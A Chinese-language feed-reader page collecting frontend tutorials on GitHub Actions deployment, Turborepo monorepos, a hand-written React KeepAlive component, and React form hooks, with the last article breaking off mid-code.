阅读视图

发现新文章,点击刷新页面。

你还在手动敲命令部署?GitHub Actions 让你 push 即上线,摸鱼时间翻倍

你改完代码,打开终端,输入 npm run build,然后 FTP 上传,或者登录服务器 git pull。这一套操作每天重复 N 次,不累吗?今天我们来把“部署”这件事自动化——用 GitHub Actions,只要你 git push,代码自动测试、自动打包、自动发到服务器。以后你只管写代码,上线交给机器人。

前言

我见过太多团队还停留在“手工部署”时代:上线先发个群消息“我要部署了,大家别动”,然后手动打包、上传、解压、重启。万一忘了执行某个步骤,线上就挂了。

GitHub Actions 就是你的免费 DevOps 机器人。它能监听 GitHub 上的事件(push、pull request、issue),然后执行你写好的自动化脚本。我们只需要写一个 YAML 文件,放在 .github/workflows 目录下,剩下的全部自动。

今天我们就来写一个完整的工作流:当推送到 main 分支时,自动运行测试、构建、并部署到服务器(或 Vercel / 阿里云 OSS)。全程保姆级,复制粘贴就能用。

一、准备工作:你需要什么?

  • GitHub 仓库(私有或公开都可以)。
  • 一台服务器(或云存储,如阿里云 OSS、Vercel)。
  • 如果部署到自己的服务器,需要服务器的 SSH 密钥(免密登录)。

如果你没有服务器,可以用 Vercel(个人项目免费,连 GitHub 自动部署也是免费的,甚至不需要写 Actions——但为了教学,我们还是会演示自定义部署到服务器的流程)。

二、基础工作流:跑测试 + 打包

在项目根目录创建 .github/workflows/deploy.yml

name: CI/CD Pipeline

on:
  push:
    branches: [ main ]   # 当推送到 main 分支时触发
  pull_request:
    branches: [ main ]   # PR 时也跑测试,但不部署

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: 检出代码
        uses: actions/checkout@v4

      - name: 安装 Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 18

      - name: 安装依赖
        run: npm ci

      - name: 运行测试
        run: npm test

  build:
    runs-on: ubuntu-latest
    needs: test   # 测试通过后才构建
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 18
      - run: npm ci
      - run: npm run build
      - name: 上传构建产物(给后续部署用)
        uses: actions/upload-artifact@v4
        with:
          name: dist
          path: dist/

提交这个文件后,每次 git push main,GitHub 就会自动跑测试和构建。你可以在仓库的 Actions 标签页看到实时日志。

三、部署到自己的服务器(通过 SSH)

deploy.yml 中增加一个 job,依赖 build,然后通过 SSH 把构建产物上传到服务器。

首先在 GitHub 仓库 Settings → Secrets and variables → Actions 中添加几个密钥:

  • SERVER_HOST:你的服务器 IP
  • SERVER_USERNAME:登录用户名(如 root、ubuntu)
  • SSH_PRIVATE_KEY:服务器的私钥内容(复制 ~/.ssh/id_rsa 整个内容)

然后在 deploy.yml 中添加:

  deploy:
    runs-on: ubuntu-latest
    needs: build
    if: github.event_name == 'push'   # 只有 push 时部署,PR 不部署
    steps:
      - name: 下载构建产物
        uses: actions/download-artifact@v4
        with:
          name: dist
          path: dist

      - name: 通过 SSH 部署
        uses: easingthemes/ssh-deploy@main
        env:
          SSH_PRIVATE_KEY: ${{ secrets.SSH_PRIVATE_KEY }}
          ARGS: "-rlgoDzvc -i --delete"
          SOURCE: "dist/"
          REMOTE_HOST: ${{ secrets.SERVER_HOST }}
          REMOTE_USER: ${{ secrets.SERVER_USERNAME }}
          TARGET: "/var/www/myapp/"   # 服务器上的目标目录

这样,每次 git push main,代码会自动出现在 /var/www/myapp 中。如果服务器上跑着 Nginx,刷新页面就是新版。

如果想要重启 PM2 进程,可以在部署步骤后加一个 exec 命令:

      - name: 重启 PM2 服务(如果后端是 Node)
        uses: appleboy/ssh-action@v1
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USERNAME }}
          key: ${{ secrets.SSH_PRIVATE_KEY }}
          script: |
            cd /var/www/myapp
            pm2 restart myapp

四、部署到 Vercel(更简单)

如果你的项目是前端静态站点,Vercel 本身就是和 GitHub 集成的。但你也可以手动写 Actions 来调用 Vercel CLI。不过更推荐直接在 Vercel 网站导入 GitHub 仓库,它会自动监听 main 分支并部署,连 YAML 都不用写。

如果你坚持要用 Actions 调用 Vercel:

      - name: 部署到 Vercel
        uses: amondnet/vercel-action@v20
        with:
          vercel-token: ${{ secrets.VERCEL_TOKEN }}
          vercel-org-id: ${{ secrets.ORG_ID}}
          vercel-project-id: ${{ secrets.PROJECT_ID}}
          vercel-args: '--prod'

五、部署到阿里云 OSS(静态网站托管)

阿里云 OSS 支持静态网站。我们可以用 aliyun-cli 同步文件:

      - name: 安装阿里云 CLI
        run: npm install -g @alicloud/oss

      - name: 同步到 OSS
        run: |
          oss cp dist/ oss://my-bucket/ -r --force --access-key-id ${{ secrets.OSS_KEY_ID }} --access-key-secret ${{ secrets.OSS_KEY_SECRET }} --endpoint oss-cn-hangzhou.aliyuncs.com

六、进阶:分环境部署(dev/staging/prod)

你可以通过分支名来区分环境:

  • main 分支 → 生产环境
  • develop 分支 → 测试环境

on.push.branches 里可以写多个分支,然后在 job 里根据 github.ref_name 做判断,选择不同的服务器目录或环境变量。

七、常见坑点

  • 密钥泄露:永远不要把 SSH 私钥、密码明文写在代码里,要用 GitHub Secrets。
  • 构建产物太大upload-artifact 可能较慢,对于几 MB 的项目还好,几百 MB 建议直接推送到服务器或云存储。
  • 权限问题:确保服务器上目标目录有写入权限。
  • 缓存依赖:可以加 actions/cache 来缓存 node_modules,每次 build 快很多。

八、总结:让机器人替你干活

  • 写好 .github/workflows/deploy.yml,push 即触发。
  • 用 Secrets 存放敏感信息。
  • 可以串联测试、构建、部署,还能加个钉钉/飞书通知。

从此你只需要 git add . && git commit -m "fix: xxx" && git push,然后去倒杯水。回来群里就会收到:“生产环境部署成功,版本 v1.2.3”。不用记命令、不用等上传、不怕忘步骤。这才是现代前端该有的体验。

如果你觉得今天的“自动化”够解放双手,点个赞让更多人看到。评论区聊聊:你经历过哪些手工部署的惨案?

你的代码仓库变成“毛线团”了?Monorepo 用 Turborepo 拆成“乐高积木”

你维护着五六个项目,每个都单独开一个 Git 仓库。改一个公共组件,要挨个进每个项目,复制粘贴,提交,发布。一上午就没了。今天我们来学 Monorepo——用 Turborepo 把多个项目放进同一个仓库,共享代码、统一构建、一键发布。让你的“多仓库噩梦”变成“搭积木游戏”。

前言

Polyrepo(多仓库)刚开始很爽:每个项目独立,互不干扰。但公共代码一多,就成了复制粘贴地狱。你修了一个 bug,五个项目都要同步,漏一个线上就崩。

Monorepo(单仓库)不是把代码随便堆在一起,而是用工具(Turborepo、Nx、Lerna)把多个项目“有序地”放在同一个 Git 仓库里,让它们能共享依赖、共享配置、共享构建缓存。今天我们用 Turborepo(Vercel 出品,Next.js 同款团队)搭一个 Monorepo,里面有 React 应用、Node API、一个共享的 UI 组件库。全程实战,告别“复制粘贴工程师”。

一、Monorepo 解决了什么?

  • 代码共享:公共组件放在 packages/shared,所有应用直接 import
  • 统一依赖:根目录一个 package.json,用 pnpmyarn workspaces 管理依赖,避免重复安装。
  • 原子提交:一次 commit 修改多个项目,版本同步。
  • 任务缓存:Turborepo 会记住每个任务的输入输出,第二次构建直接取缓存,秒完成。

二、准备工作:安装 pnpm 和 Turborepo

我们选择 pnpm 作为包管理器(比 npm/yarn 快,节省磁盘空间)。如果你没装 pnpm:

npm install -g pnpm

创建项目目录:

mkdir my-monorepo
cd my-monorepo
pnpm init

三、配置 pnpm workspace

在根目录创建 pnpm-workspace.yaml

packages:
  - "apps/*"
  - "packages/*"

这样 apps/ 下的每个子目录是一个应用(比如 React 前端、Node 后端),packages/ 下的子目录是共享包(比如 UI 组件库、工具函数)。

四、安装 Turborepo

pnpm add -g turbo
# 或者在项目中安装
pnpm add -D turbo

创建 turbo.json

{
  "$schema": "https://turbo.build/schema.json",
  "pipeline": {
    "build": {
      "dependsOn": ["^build"],
      "outputs": ["dist/**"]
    },
    "dev": {
      "cache": false,
      "persistent": true
    },
    "lint": {},
    "test": {}
  }
}

pipeline 定义了任务依赖关系。^build 表示执行某个包的 build 之前,先构建它的依赖包。

五、创建共享组件库

mkdir -p packages/ui
cd packages/ui
pnpm init

packages/ui/package.json 中,给包起个名字(重要):

{
  "name": "@myrepo/ui",
  "version": "0.0.1",
  "main": "./src/index.tsx",
  "types": "./src/index.tsx",
  "scripts": {
    "build": "tsc"
  }
}

安装 React 和 TypeScript 依赖(在根目录执行):

pnpm add -D react react-dom typescript @types/react -w

-w 表示安装在根 workspace。

写一个简单的 Button 组件:packages/ui/src/Button.tsx

import React from 'react';

export const Button: React.FC<{ children: React.ReactNode }> = ({ children }) => {
  return <button style={{ padding: '8px 16px', background: 'blue', color: 'white' }}>{children}</button>;
};

packages/ui/src/index.tsx

export { Button } from './Button';

配置 TypeScript:packages/ui/tsconfig.json

{
  "compilerOptions": {
    "jsx": "react-jsx",
    "module": "ESNext",
    "target": "ES2020",
    "declaration": true,
    "outDir": "dist",
    "strict": true
  },
  "include": ["src"]
}

六、创建 React 应用

我们用 Vite 创建一个 React 应用放在 apps/web

cd apps
pnpm create vite web --template react-ts
cd web

修改 apps/web/package.json,添加对共享包的依赖:

"dependencies": {
  "@myrepo/ui": "workspace:*",
  ...
}

workspace:* 表示使用当前 workspace 中的对应包。

apps/web/src/App.tsx 中引入共享按钮:

import { Button } from '@myrepo/ui';

function App() {
  return (
    <div>
      <h1>Monorepo Demo</h1>
      <Button>来自共享组件库的按钮</Button>
    </div>
  );
}
export default App;

现在在根目录运行 pnpm install,它会自动链接本地包。

七、配置 Turborepo 任务

修改根 turbo.json,让 build 任务在 React 应用里产生输出:

{
  "pipeline": {
    "build": {
      "dependsOn": ["^build"],
      "outputs": ["dist/**", "build/**"]
    },
    "dev": {
      "cache": false,
      "persistent": true
    }
  }
}

然后在根 package.json 添加脚本:

"scripts": {
  "dev": "turbo dev",
  "build": "turbo build",
  "lint": "turbo lint"
}

运行 pnpm dev,Turborepo 会同时启动两个应用的开发服务器(如果你还有 Node 后端的话)。第一次启动正常速度,第二次因为缓存,秒开。

八、共享配置与依赖提升

想在根目录统一管理 TypeScript、ESLint、Prettier 配置?在根目录创建 tsconfig.base.json,然后每个子项目的 tsconfig.json 继承它:

// apps/web/tsconfig.json
{
  "extends": "../../tsconfig.base.json",
  "compilerOptions": {
    "outDir": "./dist"
  }
}

ESLint 同理,根目录装 eslint,每个子项目通过根配置运行。

九、生产构建与部署

运行 pnpm build,Turborepo 会按照依赖顺序构建:先构建 @myrepo/ui,再构建 apps/web。并且第二次构建时会复用缓存,毫秒级完成。

构建产物可以分别部署:apps/web/dist 部署到 Vercel/Netlify,Node 应用部署到服务器。因为它们在一个仓库里,但部署是独立的。

十、总结:Monorepo 不是银弹,但能救你于复制粘贴

  • 适合场景:多个项目共享代码、团队规模中等、希望统一 CI/CD。
  • 不适合:项目之间几乎没有依赖、团队权限隔离要求极高(可加 CODEOWNERS 缓解)。
  • 工具选择:Turborepo 速度快、配置简单;Nx 功能更强(但复杂);Lerna 已过时(现在用 Nx 或 Turborepo)。

下次你又在不同项目间同步代码时,想一想:能不能把它们放进同一个 Monorepo,用 Turborepo 一键构建?省下的时间,正好可以摸会儿鱼。

面试手写 KeepAlive:React 组件缓存的实现原理

面试手写 KeepAlive:React 组件缓存的实现原理

面试官:"用过 Vue 的 <keep-alive> 吗?如果让你在 React 中手写一个,你会怎么实现?"

这看似是一道框架 API 题,实际上考察的是你对 React 组件渲染机制DOM 复用策略 的理解深度。本文将带你从零手写一个 KeepAlive 组件,把每一步的设计决策讲透彻。


先搞懂本质:KeepAlive 解决什么问题?

看一个具体场景。我们的 App 有两个 Tab:

// App.jsx
const App = () => {
    const [activeTab, setActiveTab] = useState('A')

    return (
        <div>
            <button onClick={() => setActiveTab('A')}>显示A组件</button>
            <button onClick={() => setActiveTab('B')}>显示B组件</button>

            <KeepAlive activeId={activeTab}>
                {activeTab === 'A' ? <Counter name="A" /> : <OtherCounter name="B" />}
            </KeepAlive>
        </div>
    )
}

Counter 组件内部有一个 count 状态:

const Counter = ({ name }) => {
    const [count, setCount] = useState(0)
    // 挂载/卸载的生命周期日志
    useEffect(() => {
        console.log('挂载', name)
        return () => console.log('卸载', name)
    }, [])

    return (
        <div>
            <h3>{name}视图</h3>
            <p>当前计数:{count}</p>
            <button onClick={() => setCount(count + 1)}>加1</button>
        </div>
    )
}

没有 KeepAlive 时,用户在 A 组件把 count 点到 5,切换到 B,再切回 A:

切换 BA 组件卸载(state 销毁,count 归零,DOM 移除)
切回 AA 组件重新挂载(count 重新从 0 开始,useEffect 再次执行)

用户体验:辛辛苦苦点的数全白费了。


核心思路:把 JSX 元素存进一个对象里

React 的组件渲染本质上就是把 JSX 转成 Virtual DOM,再映射到真实 DOM。那如果我们不销毁这个 JSX 对应的 DOM,而是把它"藏起来"呢?

关键认知:JSX 本质上就是一个 JavaScript 对象引用。 只要引用不被 GC 回收,React 内部维护的 Fiber 节点和对应的真实 DOM 就不会被销毁。

设计数据结构:

// cache 对象的结构
{
    'A': <Counter name="A" />,     // JSX 对象引用
    'B': <OtherCounter name="B" />,
}
  • key:用 activeId 作为缓存键,唯一标识每个需要缓存的视图
  • value:存储该视图对应的 JSX 元素(注意:是首次渲染时的那个 JSX 对象,不是每次都创建新的)

一步步写出来

第一版:能跑就行的朴素实现

import { useState, useEffect } from 'react'

const KeepAlive = ({ activeId, children }) => {
    const [cache, setCache] = useState({})

    useEffect(() => {
        if (!cache[activeId]) {
            setCache(prev => ({
                ...prev,
                [activeId]: children
            }))
        }
    }, [activeId, children, cache])

    return (
        <>
            {Object.entries(cache).map(([id, component]) => (
                <div
                    key={id}
                    style={{ display: id === activeId ? 'block' : 'none' }}
                >
                    {component}
                </div>
            ))
            }
        </>
    )
}

export default KeepAlive

逐行解析

1. 缓存状态:const [cache, setCache] = useState({})

用一个对象存储所有被缓存过的视图。为什么用 useState 而不是 useRef?因为我们需要在状态更新时触发重新渲染——新的 children 被存入缓存后,必须让 React 重新执行 render 才能把新 DOM 渲染出来。

2. 缓存时机:if (!cache[activeId])
useEffect(() => {
    if (!cache[activeId]) {
        setCache(prev => ({
            ...prev,
            [activeId]: children
        }))
    }
}, [activeId, children, cache])

这是整个组件的灵魂。判断逻辑是:

场景 cache[activeId] 是否存在 行为
首次切换到某个 Tab 不存在 保存 children 到缓存
再次切换回已缓存的 Tab 已存在 什么都不做,复用旧缓存

注意:这里保存的是第一次渲染时的 children 引用。一旦保存,后续即使 children 变化(其他 Tab 的 JSX),已缓存的引用不会被覆盖。这就是状态得以保留的根源——React 始终渲染的是最初那个 Fiber 节点。

3. 显示策略:display: block / none
{Object.entries(cache).map(([id, component]) => (
    <div key={id} style={{ display: id === activeId ? 'block' : 'none' }}>
        {component}
    </div>
))}

所有被缓存过的组件全部渲染在 DOM 树中,但只把当前激活的那个设为可见:

  • 激活的 Tab:display: block(正常显示)
  • 隐藏的 Tab:display: none(DOM 存在但不可见)

这是整个方案最巧妙的地方:React 看到 {component} 引用没变,不会重新执行函数组件,不会触发 Hooks 重新计算,不会触发 useEffect。Fiber 节点一直挂在树上,状态完好无损。

当你从 B 切回 A 时,控制台不会打印"挂载 A",因为 A 组件的 Fiber 从未被卸载过。这就是 KeepAlive 的本质——DOM 存在但不显示,而非销毁后重建。


运行效果:对比控制台日志

// 初始加载
挂载 A              ← useEffect 触发

// 切换到 B
挂载 BB 首次进入缓存,执行挂载
// 注意:没有 "卸载 A"!

// 切回 A
// 没有 "挂载 A"!    ← A 从未卸载,缓存命中

// 再次切到 B
// 没有 "挂载 B"!    ← B 也从未卸载

A 组件切走时,控制台没有打印"卸载 A",因为 display: none 只是隐藏,React 的 cleanup 函数不会执行。切回来时也没有"挂载 A",计数仍然保持离开时的数字。


面试进阶:面试官可能会追问什么

Q1:为什么用 children 而不是让 KeepAlive 自己去渲染?

// ❌ 不好的设计:KeepAlive 内部 import 组件
<KeepAlive activeId={activeTab} components={{ A: Counter, B: OtherCounter }} />

// ✅ 好的设计:通过 children 让父组件控制渲染
<KeepAlive activeId={activeTab}>
    {activeTab === 'A' ? <Counter name="A" /> : <OtherCounter name="B" />}
</KeepAlive>

原因children 模式遵循 React 的组合优于继承原则。父组件完全控制子组件的 props、条件渲染逻辑,KeepAlive 只负责缓存,职责单一。

Q2:所有缓存组件都在 DOM 中,性能会不会有问题?

会有。每个隐藏的组件虽然不可见,但它的 DOM 节点和 Fiber 节点全部真实存在于内存中。如果你的 Tab 内容包含 1000 个列表项,那缓存 10 个 Tab 就是 10000 个 DOM 节点——对内存和首屏渲染性能都是负担。

生产级方案(如 react-activation)会做更精细的优化:通过 React Portal 把隐藏组件的 DOM 移到一个独立的、脱离文档流的容器中挂起。

Q3:useEffect 的依赖数组里有 cache,会不会导致无限循环?

cache[activeId] 不存在时才调用 setCache,更新后的 cacheactiveId 已存在,下次 useEffect 执行时 if (!cache[activeId])false,不会再调用 setCache。所以不会无限循环。

但这里有一个可优化的点:依赖 cache 对象意味着每次缓存更新后 useEffect 都会对整个 cache 重新求值。更好的写法是用函数式 setState + 单独的 useEffect 监听:

useEffect(() => {
    setCache(prev => {
        if (prev[activeId]) return prev  // 已缓存,不更新
        return { ...prev, [activeId]: children }
    })
}, [activeId, children])

这样去掉了对 cache 的依赖,效果一样但更简洁。

Q4:display: none 和条件渲染有什么区别?

display: none 条件渲染 {visible && <Comp />}
DOM 存在 ✅ 存在 ❌ 移除
state 保留 ✅ 保留 ❌ 销毁
useEffect cleanup ❌ 不触发 ✅ 触发
组件函数是否重新执行 ❌ 不执行 ✅ 重新执行

条件渲染的本质是移除 DOM → 销毁 Fiber → 清除 state → 执行 cleanup。display: none 的本质是 DOM 还在 → Fiber 还在 → state 还在 → cleanup 不执行。前者是"删了重建",后者是"藏起来再拿出来"。


从面试代码到生产级方案

这个 25 行的实现抓住了 KeepAlive 的核心思想,但它缺少几个关键能力:

缺失能力 生产级方案(react-activation)
滚动位置恢复 内置 saveScrollPosition 属性
缓存淘汰策略 支持 LRU,限制最大缓存数量
多实例管理 AliveScope 全局缓存池统一调度
生命周期钩子 useActivate / useUnactivate 替代 useEffect
SSR 兼容 提供 SSRKeepAlive 降级方案
动画过渡 切换时可配合 CSS Transition

但面试官要看的不是你会不会用库——而是你是否理解状态保留的本质是保留 JSX 引用,保留引用的本质是不让 Fiber 卸载,不让 Fiber 卸载的本质是 DOM 不离树。


总结

手写 KeepAlive 是一个优质的面试题,它串起了 React 的多个核心概念:

JSX 对象引用 → useState 缓存 → display:none 保活
         ↘        Fiber 持久化       ↙
              状态与 DOM 永不销毁

记住这一条线,你就能在任何面试中把 KeepAlive 的原理讲得明明白白。

一句话版本:KeepAlive = useState 存 JSX 引用 + display: none 隐藏非激活 DOM,让 React 的 Fiber 节点不被卸载,从而保住所有组件内部状态。

React 表单处理:防抖校验、自动保存草稿与受控输入

表单是每个 React 应用里被重写次数最多的部分。第一天看上去再简单不过——丢一个 <input>,把 onChange 接到 useState,发版。到了第三个月,同一个表单上多了异步用户名校验、一份自动保存的草稿、一个自定义日期浮层,以及一个必须和设计系统配合好的"受控/非受控"开关。每一项都拖进来自己的临时状态机、自己的 effect 清理逻辑,以及自己那一堆边界情况。表单文件成了仓库里最长的那一个,团队里没人愿意碰它。

本文将走过四个非平凡表单迟早都会用到的原语:用一个防抖值来限流异步校验、用一个"受控或非受控"包装让组件两种用法都接受、用 localStorage 撑起一份能在刷新中存活的草稿,以及一个不会泄漏监听器的"点击外部关闭"浮层方案。每一个原语,我们都会先写手动版本,把代价摆出来,再换成 ReactUse 中专门的 Hook。最后我们把四个 Hook 组合成一个完整的"账户设置"表单:边输入边校验、自动保存草稿、还包含一个国家选择浮层。

1. 防抖的异步校验

手动实现

异步校验最经典的错误,是每敲一个键就发一次请求。经典的修法是 setTimeout,经典的 bug 是忘了清理上一次的定时器:

import { useEffect, useState } from "react";

function ManualUsernameField() {
  const [username, setUsername] = useState("");
  const [debounced, setDebounced] = useState("");
  const [status, setStatus] = useState<"idle" | "checking" | "ok" | "taken">("idle");

  useEffect(() => {
    const id = setTimeout(() => setDebounced(username), 400);
    return () => clearTimeout(id);
  }, [username]);

  useEffect(() => {
    if (!debounced) {
      setStatus("idle");
      return;
    }
    let cancelled = false;
    setStatus("checking");
    fetch(`/api/username?u=${encodeURIComponent(debounced)}`)
      .then((r) => r.json())
      .then((data) => {
        if (!cancelled) setStatus(data.available ? "ok" : "taken");
      });
    return () => {
      cancelled = true;
    };
  }, [debounced]);

  return (
    <label>
      用户名
      <input value={username} onChange={(e) => setUsername(e.target.value)} />
      <span>{status}</span>
    </label>
  );
}

这里有两个 effect,干着两件不同的事,还必须保持同步。第一个是防抖器:把 username 的密集变化压成一个延迟后的 debounced 值。第二个是请求执行器:当 debounced 变化时发请求,并忽略掉过期返回。两个 effect 都需要自己的清理逻辑。忘了 clearTimeout,请求会重复;忘了 cancelled 标志,竞态会让旧响应覆盖新响应。

真正的代价不是行数——而是这段防抖逻辑被焊死在了这个具体字段上。要在 email 字段复用同样的能力,就得复制粘贴这五行。

ReactUse 的写法:useDebounce

useDebounce 返回一个比输入值落后固定延迟的值:

import { useEffect, useState } from "react";
import { useDebounce } from "@reactuses/core";

function UsernameField() {
  const [username, setUsername] = useState("");
  const debounced = useDebounce(username, 400);
  const [status, setStatus] = useState<"idle" | "checking" | "ok" | "taken">("idle");

  useEffect(() => {
    if (!debounced) {
      setStatus("idle");
      return;
    }
    let cancelled = false;
    setStatus("checking");
    fetch(`/api/username?u=${encodeURIComponent(debounced)}`)
      .then((r) => r.json())
      .then((data) => {
        if (!cancelled) setStatus(data.available ? "ok" : "taken");
      });
    return () => {
      cancelled = true;
    };
  }, [debounced]);

  return (
    <label>
      用户名
      <input value={username} onChange={(e) => setUsername(e.target.value)} />
      <span>{status}</span>
    </label>
  );
}

第一个 effect——专管防抖的那个——消失了。useDebounce 自己接管了定时器和清理。剩下的代码才是真正属于你这个表单的部分:当防抖值变化时跑一次校验请求,并丢弃过期返回。

这个 Hook 还和函数版的 useDebounceFn 天然搭配——当你想给的是一个事件处理器(比如"失焦保存")而不是一个值时,就用它。

2. 受控还是非受控——选一种,两种都支持

手动实现

库组件经常面对一个老问题:消费者应当传 valueonChange,还是让组件内部用 defaultValue 自己管状态?老实说答案是"看谁用"。大多数团队都得在每个字段上重新发明一遍这个模式:

function ManualToggle({
  value,
  defaultValue = false,
  onChange,
}: {
  value?: boolean;
  defaultValue?: boolean;
  onChange?: (next: boolean) => void;
}) {
  const isControlled = value !== undefined;
  const [internal, setInternal] = useState(defaultValue);
  const current = isControlled ? value : internal;

  const handleClick = () => {
    const next = !current;
    if (!isControlled) setInternal(next);
    onChange?.(next);
  };

  return (
    <button role="switch" aria-checked={current} onClick={handleClick}>
      {current ? "开" : "关"}
    </button>
  );
}

模式本身不复杂,但它是一块吸 bug 的磁铁。如果消费者中途把 value 切回 undefined,模式就在受控和非受控间跳了一次。如果他们传了 value 却没传 onChange 呢?React 自己的表单输入会对这两种情况都给出警告,但自定义组件几乎从不写这些校验——而当设计系统不断扩张,每一个 input、switch、slider、date picker 都会复制一遍这堆样板。

ReactUse 的写法:useControlled

useControlled 把整个模式塌缩成一个 Hook 调用:

import { useControlled } from "@reactuses/core";

function Toggle({
  value,
  defaultValue = false,
  onChange,
}: {
  value?: boolean;
  defaultValue?: boolean;
  onChange?: (next: boolean) => void;
}) {
  const [current, setCurrent] = useControlled({
    value,
    defaultValue,
    onChange,
  });

  return (
    <button
      role="switch"
      aria-checked={current}
      onClick={() => setCurrent(!current)}
    >
      {current ? "开" : "关"}
    </button>
  );
}

这个 Hook 替你做了三件你本来要自己写的事:

  1. 首次渲染时定型——决定是受控还是非受控,如果之后模式翻转就给出警告,和 React 内置 input 的诊断口径一致。
  2. 返回一个稳定的 setter,内部根据模式分支:非受控时更新内部状态;受控时只调 onChange,让父组件去重新渲染。
  3. 始终反映最新的事实。元组的第一个元素在受控时是 value、非受控时是内部状态,消费者永远不会看到不一致。

把它丢进设计系统里任何 input 形状的组件,从此不再为这个模式分心。

3. 自动保存表单草稿

手动实现

长表单——引导流、设置页、内容编辑器——绝不该让用户的工作毁于一次刷新。标准做法是把表单状态镜像到 localStorage;标准的失误是每敲一下键就写一次:

function ManualDraftForm() {
  const [draft, setDraft] = useState(() => {
    if (typeof window === "undefined") return { title: "", body: "" };
    const raw = localStorage.getItem("post-draft");
    return raw ? JSON.parse(raw) : { title: "", body: "" };
  });

  useEffect(() => {
    localStorage.setItem("post-draft", JSON.stringify(draft));
  }, [draft]);

  return (
    <form>
      <input
        value={draft.title}
        onChange={(e) => setDraft((d) => ({ ...d, title: e.target.value }))}
      />
      <textarea
        value={draft.body}
        onChange={(e) => setDraft((d) => ({ ...d, body: e.target.value }))}
      />
    </form>
  );
}

这十五行里藏着三个问题。第一,惰性初始化会在挂载时读一次 localStorage,但不会在另一个标签页更新它时再读——多标签页编辑会安静地翻车。第二,JSON.parse 遇到损坏数据会抛错,组件就在挂载时崩了。第三,localStorage.setItem 是同步的,每次渲染都跑一次,对一个手快的用户而言会顶住主线程。

最上面那行 SSR 检查就是个信号:这是一段会被仓库里其它组件复制过去、并大概率写错的"配方"。

ReactUse 的写法:useLocalStorage

useLocalStorage 长得像 useState、用起来也像 useState,但值住在存储里:

import { useLocalStorage } from "@reactuses/core";

function DraftForm() {
  const [draft, setDraft] = useLocalStorage("post-draft", {
    title: "",
    body: "",
  });

  return (
    <form>
      <input
        value={draft.title}
        onChange={(e) => setDraft({ ...draft, title: e.target.value })}
      />
      <textarea
        value={draft.body}
        onChange={(e) => setDraft({ ...draft, body: e.target.value })}
      />
    </form>
  );
}

手动版本搞错或漏掉的四件事,这个 Hook 都帮你做好了:

  1. SSR 安全初始化。在服务端返回默认值;客户端首次渲染时无失配地完成水合。
  2. 跨标签页同步。监听 storage 事件,当另一个标签页写入同一个键时同步状态。
  3. JSON 容错。捕获解析错误并退回默认值,不再让组件崩溃。
  4. 稳定的 setter。返回的 setter 引用稳定,可以安全地放进 useEffect 依赖或 memo 化的子组件里。

对真的很长的表单,常常想要"自动保存 + 防抖"。把第一节的 useDebounce 搭进来——先防抖表单状态,再把防抖后的值写进存储——你就得到一个能在刷新中存活、又不会捶硬盘的编辑器。

4. 用"点击外部"关闭浮层

手动实现

国家选择器、日期选择器、自动补全菜单,以及一切浮在页面上的东西,都得在用户点别的地方时关掉自己。教科书式的实现是在 document 上监听:

function ManualPopover({ children }: { children: React.ReactNode }) {
  const [open, setOpen] = useState(false);
  const ref = useRef<HTMLDivElement>(null);

  useEffect(() => {
    if (!open) return;
    const handler = (e: MouseEvent) => {
      if (ref.current && !ref.current.contains(e.target as Node)) {
        setOpen(false);
      }
    };
    document.addEventListener("mousedown", handler);
    return () => document.removeEventListener("mousedown", handler);
  }, [open]);

  return (
    <div ref={ref} style={{ position: "relative" }}>
      <button onClick={() => setOpen((v) => !v)}>切换</button>
      {open && <div className="popover">{children}</div>}
    </div>
  );
}

简单场景这能跑——直到你的浮层被 portal 渲染到别处。ref.current.contains(...) 假设浮层是触发器的 DOM 后代,但真实的设计系统里几乎从来不是:浮层会被挂到 body 根节点,绕开父容器的 overflow。你还得在 mousedownclick 之间做选择(多数情况下答案是 mousedown,这样浮层会在某个下游 click 处理器触发之前就关掉),而且记得在关闭时跳过监听,免得每次页面 click 都白跑一遍。

ReactUse 的写法:useClickOutside

useClickOutside 接收一个 ref(或一组 ref)和一个处理器:

import { useRef, useState } from "react";
import { useClickOutside } from "@reactuses/core";

function Popover({ children }: { children: React.ReactNode }) {
  const [open, setOpen] = useState(false);
  const triggerRef = useRef<HTMLDivElement>(null);
  const popoverRef = useRef<HTMLDivElement>(null);

  useClickOutside([triggerRef, popoverRef], () => setOpen(false));

  return (
    <>
      <div ref={triggerRef}>
        <button onClick={() => setOpen((v) => !v)}>切换</button>
      </div>
      {open && (
        <div ref={popoverRef} className="popover">
          {children}
        </div>
      )}
    </>
  );
}

支持 ref 数组的形式,正是它能搞定 portal 浮层的关键:把触发器和浮动面板都标成"内部",点其它地方就触发处理器。Hook 也替你处理 mousedown 的选择,监听器只在 document 层挂一次(不会在每个组件里来回挂卸),并在卸载时清理干净。

它还有一个相近的兄弟 useClickAway——API 略有不同,适合只有单个 ref 的场景,按你组件里读起来更顺的那个挑就行。

组合在一起:账户设置表单

下面是一个完整的账户设置表单,把四个 Hook 都用上了。用户名边输入边校验。整个表单自动保存到 localStorage。通知开关是受控/非受控两可的组件。国家选择器是个对 portal 友好、点击外部就关的浮层。

import { useEffect, useRef, useState } from "react";
import {
  useDebounce,
  useControlled,
  useLocalStorage,
  useClickOutside,
} from "@reactuses/core";

interface Settings {
  username: string;
  country: string;
  notifications: boolean;
}

const COUNTRIES = ["中国", "日本", "德国", "巴西", "印度"];

function NotificationSwitch({
  value,
  defaultValue = true,
  onChange,
}: {
  value?: boolean;
  defaultValue?: boolean;
  onChange?: (next: boolean) => void;
}) {
  const [on, setOn] = useControlled({ value, defaultValue, onChange });
  return (
    <button
      type="button"
      role="switch"
      aria-checked={on}
      onClick={() => setOn(!on)}
      style={{
        width: 48,
        height: 24,
        borderRadius: 999,
        border: "none",
        background: on ? "#3b82f6" : "#cbd5e1",
        position: "relative",
        cursor: "pointer",
      }}
    >
      <span
        style={{
          position: "absolute",
          top: 2,
          left: on ? 26 : 2,
          width: 20,
          height: 20,
          borderRadius: "50%",
          background: "white",
          transition: "left 120ms ease",
        }}
      />
    </button>
  );
}

function CountryPicker({
  value,
  onChange,
}: {
  value: string;
  onChange: (next: string) => void;
}) {
  const [open, setOpen] = useState(false);
  const triggerRef = useRef<HTMLButtonElement>(null);
  const menuRef = useRef<HTMLUListElement>(null);

  useClickOutside([triggerRef, menuRef], () => setOpen(false));

  return (
    <div style={{ position: "relative", display: "inline-block" }}>
      <button
        ref={triggerRef}
        type="button"
        onClick={() => setOpen((v) => !v)}
